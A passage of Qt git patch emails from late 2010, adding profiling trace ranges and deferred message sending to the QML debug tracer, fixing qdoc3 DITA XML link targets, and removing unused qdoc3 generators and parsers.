(int)RangeData << (int)range << (QString)u.toString(); - sendMessage(data); + processMessage(data); } void QDeclarativeDebugTrace::endRangeImpl(RangeType range) { - if (status() != Enabled) + if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); ds << m_timer.elapsed() << (int)RangeEnd << (int)range; - sendMessage(data); + processMessage(data); } +/* + Either send the message directly, or queue up + a list of messages to send later (via sendMessages) +*/ +void QDeclarativeDebugTrace::processMessage(const QByteArray &message) +{ + if (m_deferredSend) + m_data.append(message); + else + sendMessage(message); +} + +/* + Send the messages queued up by processMessage +*/ +void QDeclarativeDebugTrace::sendMessages() +{ + if (m_deferredSend) { + //### this is a suboptimal way to send batched messages + for (int i = 0; i < m_data.count(); ++i) + sendMessage(m_data.at(i)); + m_data.clear(); + } +} + +void QDeclarativeDebugTrace::messageReceived(const QByteArray &message) +{ + QByteArray rwData = message; + QDataStream stream(&rwData, QIODevice::ReadOnly); + + stream >> m_enabled; + + if (!m_enabled) + sendMessages(); +} diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index d6fe0b0..c7c61bd 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -86,12 +86,19 @@ public: static void endRange(RangeType); QDeclarativeDebugTrace(); +protected: + virtual void messageReceived(const QByteArray &); private: void addEventImpl(EventType); void startRangeImpl(RangeType); void rangeDataImpl(RangeType, const QUrl &); void endRangeImpl(RangeType); + void processMessage(const QByteArray &); + void sendMessages(); QPerformanceTimer m_timer; + bool m_enabled; + bool m_deferredSend; + QList m_data; }; QT_END_NAMESPACE -- cgit v0.12 From 530b052bed6fd74699fead438035dc4684d83335 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 3 Nov 2010 15:12:16 +1000 Subject: Add additional tracing. Tracing for compile time, signal handlers, and deferred creation. --- src/declarative/debugger/qdeclarativedebugtrace_p.h | 3 ++- src/declarative/qml/qdeclarativeboundsignal.cpp | 3 +++ src/declarative/qml/qdeclarativeengine.cpp | 4 +++- src/declarative/qml/qdeclarativetypeloader.cpp | 3 +++ 4 files changed, 11 insertions(+), 2 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index c7c61bd..d0e776e 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -74,7 +74,8 @@ public: Painting, Compiling, Creating, - Binding, + Binding, //running a binding + HandlingSignal, //running a signal handler MaximumRangeType }; diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp index 6af3e05..1bb92dd 100644 --- a/src/declarative/qml/qdeclarativeboundsignal.cpp +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp @@ -49,6 +49,7 @@ #include "qdeclarative.h" #include "qdeclarativecontext.h" #include "private/qdeclarativeglobal_p.h" +#include "private/qdeclarativedebugtrace_p.h" #include @@ -165,6 +166,7 @@ QDeclarativeBoundSignal *QDeclarativeBoundSignal::cast(QObject *o) int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) { if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) { + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal); m_isEvaluating = true; if (!m_paramsValid) { if (!m_signal.parameterTypes().isEmpty()) @@ -180,6 +182,7 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) } if (m_params) m_params->clearValues(); m_isEvaluating = false; + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::HandlingSignal); return -1; } else { return QObject::qt_metacall(c, id, a); diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 808ba68..dac40b0 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -69,6 +69,7 @@ #include "private/qdeclarativetypenamecache_p.h" #include "private/qdeclarativeinclude_p.h" #include "private/qdeclarativenotifier_p.h" +#include "private/qdeclarativedebugtrace_p.h" #include #include @@ -927,7 +928,7 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object) QDeclarativeData *data = QDeclarativeData::get(object); if (data && data->deferredComponent) { - + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating); QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(data->context->engine); QDeclarativeComponentPrivate::ConstructionState state; @@ -937,6 +938,7 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object) data->deferredComponent = 0; QDeclarativeComponentPrivate::complete(ep, &state); + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Creating); } } diff --git a/src/declarative/qml/qdeclarativetypeloader.cpp b/src/declarative/qml/qdeclarativetypeloader.cpp index c015519..d9b4c54 100644 --- a/src/declarative/qml/qdeclarativetypeloader.cpp +++ b/src/declarative/qml/qdeclarativetypeloader.cpp @@ -45,6 +45,7 @@ #include #include #include +#include #include #include @@ -895,6 +896,7 @@ void QDeclarativeTypeData::downloadProgressChanged(qreal p) void QDeclarativeTypeData::compile() { Q_ASSERT(m_compiledData == 0); + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Compiling); m_compiledData = new QDeclarativeCompiledData(typeLoader()->engine()); m_compiledData->url = m_imports.baseUrl(); @@ -906,6 +908,7 @@ void QDeclarativeTypeData::compile() m_compiledData->release(); m_compiledData = 0; } + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Compiling); } void QDeclarativeTypeData::resolveTypes() -- cgit v0.12 From 3c05109ce609574f1525c465f68817d3af39397e Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 4 Nov 2010 15:34:17 +1000 Subject: Support directly setting string range data. --- src/declarative/debugger/qdeclarativedebugtrace.cpp | 8 ++++---- src/declarative/debugger/qdeclarativedebugtrace_p.h | 4 ++-- src/declarative/qml/qdeclarativebinding.cpp | 5 +++-- 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp index 5edc3b6..cd4306b 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp @@ -66,10 +66,10 @@ void QDeclarativeDebugTrace::startRange(RangeType t) traceInstance()->startRangeImpl(t); } -void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &url) +void QDeclarativeDebugTrace::rangeData(RangeType t, const QString &data) { if (QDeclarativeDebugService::isDebuggingEnabled()) - traceInstance()->rangeDataImpl(t, url); + traceInstance()->rangeDataImpl(t, data); } void QDeclarativeDebugTrace::endRange(RangeType t) @@ -100,14 +100,14 @@ void QDeclarativeDebugTrace::startRangeImpl(RangeType range) processMessage(data); } -void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &u) +void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData) { if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)RangeData << (int)range << (QString)u.toString(); + ds << m_timer.elapsed() << (int)RangeData << (int)range << rData; processMessage(data); } diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index d0e776e..b935fbe 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -83,7 +83,7 @@ public: static void addEvent(EventType); static void startRange(RangeType); - static void rangeData(RangeType, const QUrl &); + static void rangeData(RangeType, const QString &); static void endRange(RangeType); QDeclarativeDebugTrace(); @@ -92,7 +92,7 @@ protected: private: void addEventImpl(EventType); void startRangeImpl(RangeType); - void rangeDataImpl(RangeType, const QUrl &); + void rangeDataImpl(RangeType, const QString &); void endRangeImpl(RangeType); void processMessage(const QByteArray &); void sendMessages(); diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 2a1abd0..055d009 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -117,9 +117,10 @@ QDeclarativeProperty QDeclarativeBinding::property() const class QDeclarativeBindingProfiler { public: - QDeclarativeBindingProfiler() + QDeclarativeBindingProfiler(QDeclarativeBinding *bind) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding); + //QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression()); } ~QDeclarativeBindingProfiler() @@ -136,7 +137,7 @@ void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags) return; if (!d->updating) { - QDeclarativeBindingProfiler prof; + QDeclarativeBindingProfiler prof(this); d->updating = true; bool wasDeleted = false; d->deleted = &wasDeleted; -- cgit v0.12 From 7aebf28291288ea6e8c1d9d28f4ed752b00dca97 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 5 Nov 2010 13:27:30 +1000 Subject: Make deferred tracing less expensive (real-time cost is the same) --- .../debugger/qdeclarativedebugtrace.cpp | 44 ++++++++++++---------- .../debugger/qdeclarativedebugtrace_p.h | 32 +++++++++++----- src/declarative/qml/qdeclarativebinding.cpp | 2 +- .../qperformancetimer/tst_qperformancetimer.cpp | 11 ++++++ 4 files changed, 59 insertions(+), 30 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp index cd4306b..7f970bf 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp @@ -47,6 +47,20 @@ Q_GLOBAL_STATIC(QDeclarativeDebugTrace, traceInstance); +// convert to a QByteArray that can be sent to the debug client +// use of QDataStream can skew results if m_deferredSend == false +// (see tst_qperformancetimer::trace() benchmark) +QByteArray QDeclarativeDebugData::toByteArray() const +{ + QByteArray data; + //### using QDataStream is relatively expensive + QDataStream ds(&data, QIODevice::WriteOnly); + ds << time << messageType << detailType; + if (messageType == (int)QDeclarativeDebugTrace::RangeData) + ds << detailData; + return data; +} + QDeclarativeDebugTrace::QDeclarativeDebugTrace() : QDeclarativeDebugService(QLatin1String("CanvasFrameRate")), m_enabled(false), m_deferredSend(true) @@ -83,10 +97,8 @@ void QDeclarativeDebugTrace::addEventImpl(EventType event) if (status() != Enabled || !m_enabled) return; - QByteArray data; - QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)Event << (int)event; - processMessage(data); + QDeclarativeDebugData ed = {m_timer.elapsed(), (int)Event, (int)event, QString()}; + processMessage(ed); } void QDeclarativeDebugTrace::startRangeImpl(RangeType range) @@ -94,10 +106,8 @@ void QDeclarativeDebugTrace::startRangeImpl(RangeType range) if (status() != Enabled || !m_enabled) return; - QByteArray data; - QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)RangeStart << (int)range; - processMessage(data); + QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeStart, (int)range, QString()}; + processMessage(rd); } void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData) @@ -105,10 +115,8 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData if (status() != Enabled || !m_enabled) return; - QByteArray data; - QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)RangeData << (int)range << rData; - processMessage(data); + QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData}; + processMessage(rd); } void QDeclarativeDebugTrace::endRangeImpl(RangeType range) @@ -116,22 +124,20 @@ void QDeclarativeDebugTrace::endRangeImpl(RangeType range) if (status() != Enabled || !m_enabled) return; - QByteArray data; - QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)RangeEnd << (int)range; - processMessage(data); + QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeEnd, (int)range, QString()}; + processMessage(rd); } /* Either send the message directly, or queue up a list of messages to send later (via sendMessages) */ -void QDeclarativeDebugTrace::processMessage(const QByteArray &message) +void QDeclarativeDebugTrace::processMessage(const QDeclarativeDebugData &message) { if (m_deferredSend) m_data.append(message); else - sendMessage(message); + sendMessage(message.toByteArray()); } /* @@ -142,7 +148,7 @@ void QDeclarativeDebugTrace::sendMessages() if (m_deferredSend) { //### this is a suboptimal way to send batched messages for (int i = 0; i < m_data.count(); ++i) - sendMessage(m_data.at(i)); + sendMessage(m_data.at(i).toByteArray()); m_data.clear(); } } diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index b935fbe..86c0987 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -49,18 +49,22 @@ QT_BEGIN_HEADER QT_BEGIN_NAMESPACE +struct QDeclarativeDebugData +{ + qint64 time; + int messageType; + int detailType; + QString detailData; + + QByteArray toByteArray() const; +}; + +Q_DECLARE_TYPEINFO(QDeclarativeDebugData,Q_PRIMITIVE_TYPE); + class QUrl; class Q_AUTOTEST_EXPORT QDeclarativeDebugTrace : public QDeclarativeDebugService { public: - enum EventType { - FramePaint, - Mouse, - Key, - - MaximumEventType - }; - enum Message { Event, RangeStart, @@ -70,6 +74,14 @@ public: MaximumMessage }; + enum EventType { + FramePaint, + Mouse, + Key, + + MaximumEventType + }; + enum RangeType { Painting, Compiling, @@ -94,12 +106,12 @@ private: void startRangeImpl(RangeType); void rangeDataImpl(RangeType, const QString &); void endRangeImpl(RangeType); - void processMessage(const QByteArray &); + void processMessage(const QDeclarativeDebugData &); void sendMessages(); QPerformanceTimer m_timer; bool m_enabled; bool m_deferredSend; - QList m_data; + QList m_data; }; QT_END_NAMESPACE diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 055d009..c8b4c7d 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -120,7 +120,7 @@ public: QDeclarativeBindingProfiler(QDeclarativeBinding *bind) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding); - //QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression()); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression()); } ~QDeclarativeBindingProfiler() diff --git a/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp index 04737e7..497a556 100644 --- a/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp +++ b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp @@ -54,6 +54,7 @@ private slots: void all(); void startElapsed(); void doubleElapsed(); + void trace(); }; void tst_qperformancetimer::all() @@ -84,6 +85,16 @@ void tst_qperformancetimer::doubleElapsed() } } +void tst_qperformancetimer::trace() +{ + QString s("A decent sized string of text here."); + QBENCHMARK { + QByteArray data; + QDataStream ds(&data, QIODevice::WriteOnly); + ds << (qint64)100 << (int)5 << (int)5 << s; + } +} + QTEST_MAIN(tst_qperformancetimer) #include "tst_qperformancetimer.moc" -- cgit v0.12 From 280f67d16430ce0dcfcc31a0c88ce7156126066c Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 5 Nov 2010 15:05:53 +1000 Subject: Add additional trace range data. --- src/declarative/debugger/qdeclarativedebugtrace.cpp | 15 +++++++++++++++ src/declarative/debugger/qdeclarativedebugtrace_p.h | 2 ++ src/declarative/qml/qdeclarativeboundsignal.cpp | 1 + src/declarative/qml/qdeclarativecomponent.cpp | 4 +++- src/declarative/qml/qdeclarativeengine.cpp | 1 + src/declarative/qml/qdeclarativetypeloader.cpp | 1 + 6 files changed, 23 insertions(+), 1 deletion(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp index 7f970bf..314db70 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp @@ -86,6 +86,12 @@ void QDeclarativeDebugTrace::rangeData(RangeType t, const QString &data) traceInstance()->rangeDataImpl(t, data); } +void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &data) +{ + if (QDeclarativeDebugService::isDebuggingEnabled()) + traceInstance()->rangeDataImpl(t, data); +} + void QDeclarativeDebugTrace::endRange(RangeType t) { if (QDeclarativeDebugService::isDebuggingEnabled()) @@ -119,6 +125,15 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData processMessage(rd); } +void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &rData) +{ + if (status() != Enabled || !m_enabled) + return; + + QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toEncoded(QUrl::FormattingOption(0x100))}; + processMessage(rd); +} + void QDeclarativeDebugTrace::endRangeImpl(RangeType range) { if (status() != Enabled || !m_enabled) diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index 86c0987..3f9b904 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -96,6 +96,7 @@ public: static void startRange(RangeType); static void rangeData(RangeType, const QString &); + static void rangeData(RangeType, const QUrl &); static void endRange(RangeType); QDeclarativeDebugTrace(); @@ -105,6 +106,7 @@ private: void addEventImpl(EventType); void startRangeImpl(RangeType); void rangeDataImpl(RangeType, const QString &); + void rangeDataImpl(RangeType, const QUrl &); void endRangeImpl(RangeType); void processMessage(const QDeclarativeDebugData &); void sendMessages(); diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp index 1bb92dd..030fb2c 100644 --- a/src/declarative/qml/qdeclarativeboundsignal.cpp +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp @@ -167,6 +167,7 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) { if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) + QLatin1String(": ") + (m_expression ? m_expression->expression() : "")); m_isEvaluating = true; if (!m_paramsValid) { if (!m_signal.parameterTypes().isEmpty()) diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index 2686ce3..5be41ab 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -785,8 +785,10 @@ QObject * QDeclarativeComponentPrivate::begin(QDeclarativeContextData *parentCon Q_ASSERT(!isRoot || state); // Either this isn't a root component, or a state data must be provided Q_ASSERT((state != 0) ^ (errors != 0)); // One of state or errors (but not both) must be provided - if (isRoot) + if (isRoot) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, component->url); + } QDeclarativeContextData *ctxt = new QDeclarativeContextData; ctxt->isInternal = true; diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index dac40b0..5122bdf 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -929,6 +929,7 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object) if (data && data->deferredComponent) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, QLatin1String("Deferred Creation:") + object->metaObject()->className()); QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(data->context->engine); QDeclarativeComponentPrivate::ConstructionState state; diff --git a/src/declarative/qml/qdeclarativetypeloader.cpp b/src/declarative/qml/qdeclarativetypeloader.cpp index d9b4c54..f42e8a7 100644 --- a/src/declarative/qml/qdeclarativetypeloader.cpp +++ b/src/declarative/qml/qdeclarativetypeloader.cpp @@ -901,6 +901,7 @@ void QDeclarativeTypeData::compile() m_compiledData = new QDeclarativeCompiledData(typeLoader()->engine()); m_compiledData->url = m_imports.baseUrl(); m_compiledData->name = m_compiledData->url.toString(); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Compiling, m_compiledData->name); QDeclarativeCompiler compiler; if (!compiler.compile(typeLoader()->engine(), this, m_compiledData)) { -- cgit v0.12 From c5d942a039b924b0179a9845cce2e4660905f2f8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 19 Nov 2010 13:22:11 +0100 Subject: qdoc: Replaced all "#location" with "file.xml#location" --- tools/qdoc3/ditaxmlgenerator.cpp | 39 +++++++++++++++++++++++++++++---------- 1 file changed, 29 insertions(+), 10 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index aace05a..d4285a8 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -976,8 +976,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { - writeXrefListItem(QString("#" + Doc::canonicalTitle((*s).name)), - (*s).name); + QString li = outFileName() + "#" + Doc::canonicalTitle((*s).name); + writeXrefListItem(li, (*s).name); } ++s; } @@ -2762,7 +2762,8 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, if (usedParagraphNames.contains(char('a' + i))) { xmlWriter().writeStartElement("xref"); QString guid = lookupGuid(outFileName(),QString(ch)); - xmlWriter().writeAttribute("href",QString("#%1").arg(guid)); + QString attr = outFileName() + QString("#%1").arg(guid); + xmlWriter().writeAttribute("href", attr); xmlWriter().writeCharacters(QString(ch.toUpper())); xmlWriter().writeEndElement(); // } @@ -2849,16 +2850,17 @@ void DitaXmlGenerator::generateFunctionIndex(const Node* relative, CodeMarker* marker) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","function-index"); - xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","alphabet"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",QString("#%1").arg(ch)); + QString guid = lookupGuid(outFileName(),QString(ch)); + QString attr = outFileName() + QString("#%1").arg(guid); + xmlWriter().writeAttribute("href", attr); xmlWriter().writeCharacters(QString(ch.toUpper())); xmlWriter().writeEndElement(); // + } - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); //

    char nextLetter = 'a'; @@ -3700,7 +3702,8 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, if (actualNode == 0) actualNode = apparentNode; xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",linkForNode(actualNode, relative)); + QString href = linkForNode(actualNode, relative); + xmlWriter().writeAttribute("href",href); xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); xmlWriter().writeEndElement(); // } @@ -4042,10 +4045,26 @@ QString DitaXmlGenerator::getLink(const Atom* atom, link = linkForNode(*node, relative); if (*node && (*node)->subType() == Node::Image) link = "images/used-in-examples/" + link; - if (targetAtom) - link += "#" + refForAtom(targetAtom, *node); + if (targetAtom) { + if (link.isEmpty()) + link = outFileName(); + QString guid = lookupGuid(link,refForAtom(targetAtom,*node)); + link += "#" + guid; + } +#if 0 + else if (link.isEmpty() && *node) { + link = outFileName() + "#" + (*node)->guid(); + } +#endif + else if (!link.isEmpty() && *node && link.endsWith(".xml")) { + link += "#" + (*node)->guid(); + } } } + if (!link.isEmpty() && link[0] == '#') { + link.prepend(outFileName()); + qDebug() << "LOCAL LINK:" << link; + } return link; } -- cgit v0.12 From 771337bb2c286343ac912a32101fc7d418ef8a7c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 15:40:40 +0100 Subject: Removed unused files and functionality from qdoc3. Many of the generators were unused. The old QSA and Qt Script parsers were unused. We no longer use DCF files for Qt Assistant. We no longer generate Qt Jambi documentation, and qdoc3 was not used for much of that process, making some of the relevant files obsolete. --- tools/qdoc3/bookgenerator.cpp | 64 --- tools/qdoc3/bookgenerator.h | 64 --- tools/qdoc3/cpptoqsconverter.cpp | 415 ----------------- tools/qdoc3/cpptoqsconverter.h | 88 ---- tools/qdoc3/dcfsection.cpp | 111 ----- tools/qdoc3/dcfsection.h | 94 ---- tools/qdoc3/htmlgenerator.cpp | 132 +----- tools/qdoc3/htmlgenerator.h | 11 - tools/qdoc3/jambiapiparser.cpp | 546 ---------------------- tools/qdoc3/jambiapiparser.h | 99 ---- tools/qdoc3/javacodemarker.cpp | 203 -------- tools/qdoc3/javacodemarker.h | 83 ---- tools/qdoc3/javadocgenerator.cpp | 454 ------------------ tools/qdoc3/javadocgenerator.h | 95 ---- tools/qdoc3/linguistgenerator.cpp | 245 ---------- tools/qdoc3/linguistgenerator.h | 85 ---- tools/qdoc3/loutgenerator.cpp | 63 --- tools/qdoc3/loutgenerator.h | 67 --- tools/qdoc3/main.cpp | 26 +- tools/qdoc3/mangenerator.cpp | 228 --------- tools/qdoc3/mangenerator.h | 79 ---- tools/qdoc3/qdoc3.pro | 26 -- tools/qdoc3/qsakernelparser.cpp | 186 -------- tools/qdoc3/qsakernelparser.h | 77 ---- tools/qdoc3/qscodemarker.cpp | 378 --------------- tools/qdoc3/qscodemarker.h | 79 ---- tools/qdoc3/qscodeparser.cpp | 944 -------------------------------------- tools/qdoc3/qscodeparser.h | 128 ------ tools/qdoc3/sgmlgenerator.cpp | 63 --- tools/qdoc3/sgmlgenerator.h | 67 --- 30 files changed, 3 insertions(+), 5197 deletions(-) delete mode 100644 tools/qdoc3/bookgenerator.cpp delete mode 100644 tools/qdoc3/bookgenerator.h delete mode 100644 tools/qdoc3/cpptoqsconverter.cpp delete mode 100644 tools/qdoc3/cpptoqsconverter.h delete mode 100644 tools/qdoc3/dcfsection.cpp delete mode 100644 tools/qdoc3/dcfsection.h delete mode 100644 tools/qdoc3/jambiapiparser.cpp delete mode 100644 tools/qdoc3/jambiapiparser.h delete mode 100644 tools/qdoc3/javacodemarker.cpp delete mode 100644 tools/qdoc3/javacodemarker.h delete mode 100644 tools/qdoc3/javadocgenerator.cpp delete mode 100644 tools/qdoc3/javadocgenerator.h delete mode 100644 tools/qdoc3/linguistgenerator.cpp delete mode 100644 tools/qdoc3/linguistgenerator.h delete mode 100644 tools/qdoc3/loutgenerator.cpp delete mode 100644 tools/qdoc3/loutgenerator.h delete mode 100644 tools/qdoc3/mangenerator.cpp delete mode 100644 tools/qdoc3/mangenerator.h delete mode 100644 tools/qdoc3/qsakernelparser.cpp delete mode 100644 tools/qdoc3/qsakernelparser.h delete mode 100644 tools/qdoc3/qscodemarker.cpp delete mode 100644 tools/qdoc3/qscodemarker.h delete mode 100644 tools/qdoc3/qscodeparser.cpp delete mode 100644 tools/qdoc3/qscodeparser.h delete mode 100644 tools/qdoc3/sgmlgenerator.cpp delete mode 100644 tools/qdoc3/sgmlgenerator.h diff --git a/tools/qdoc3/bookgenerator.cpp b/tools/qdoc3/bookgenerator.cpp deleted file mode 100644 index bbcdd11..0000000 --- a/tools/qdoc3/bookgenerator.cpp +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - bookgenerator.cpp -*/ - -#include "bookgenerator.h" - -QT_BEGIN_NAMESPACE - -BookGenerator::BookGenerator() -{ -} - -BookGenerator::~BookGenerator() -{ -} - -void BookGenerator::generateTree( const Tree *tree, CodeMarker *marker ) -{ - Q_UNUSED( tree ) - Q_UNUSED( marker ) -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/bookgenerator.h b/tools/qdoc3/bookgenerator.h deleted file mode 100644 index 69b65fc..0000000 --- a/tools/qdoc3/bookgenerator.h +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** 